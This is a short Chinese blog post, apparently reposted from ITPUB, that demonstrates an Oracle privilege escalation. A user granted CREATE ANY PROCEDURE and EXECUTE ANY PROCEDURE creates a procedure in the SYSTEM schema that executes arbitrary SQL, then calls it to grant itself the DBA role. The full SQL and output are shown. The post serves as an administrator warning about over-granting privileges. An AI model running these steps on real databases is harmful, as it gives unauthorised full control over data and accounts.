如果管理员把create any procedure和execute any procedure系统权限授权给一个普通用户,普通用户可以通过一个过程把DBA角色非法授权给自己,演示如下:
SQL> create user naruto identified by naruto;
用户已创建。
SQL> grant create session to naruto;
授权成功。
SQL> grant create session,create any procedure,execute any procedure to naruto;
授权成功。
SQL> select * from session_privs;
PRIVILEGE
-----------------------------------------
CREATE SESSION
CREATE ANY PROCEDURE
EXECUTE ANY PROCEDURE
可以看到用户naruto只有以上三个权限。
SQL> conn naruto/naruto
已连接。
SQL> create procedure system.p1( a varchar2 )
2 as
3 begin
4 execute immediate a;
5 end;
6 /
过程已创建。
SQL> exec system.p1('grant DBA to naruto');
PL/SQL 过程已成功完成。
SQL> conn naruto/naruto
已连接。
SQL> select * from session_privs;
PRIVILEGE
-----------------------------------
ALTER SYSTEM
AUDIT SYSTEM
CREATE SESSION
ALTER SESSION
RESTRICTED SESSION
CREATE TABLESPACE
ALTER TABLESPACE
MANAGE TABLESPACE
DROP TABLESPACE
UNLIMITED TABLESPACE
CREATE USER
PRIVILEGE
-----------------------------------
BECOME USER
ALTER USER
DROP USER
CREATE ROLLBACK SEGMENT
ALTER ROLLBACK SEGMENT
DROP ROLLBACK SEGMENT
CREATE TABLE
CREATE ANY TABLE
ALTER ANY TABLE
BACKUP ANY TABLE
DROP ANY TABLE
。。。
已选择161行。
可以看到普通用户naruto获得了管理员的所有权限。
来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/25361369/viewspace-700415/,如需转载,请注明出处,否则将追究法律责任。
转载于:http://blog.itpub.net/25361369/viewspace-700415/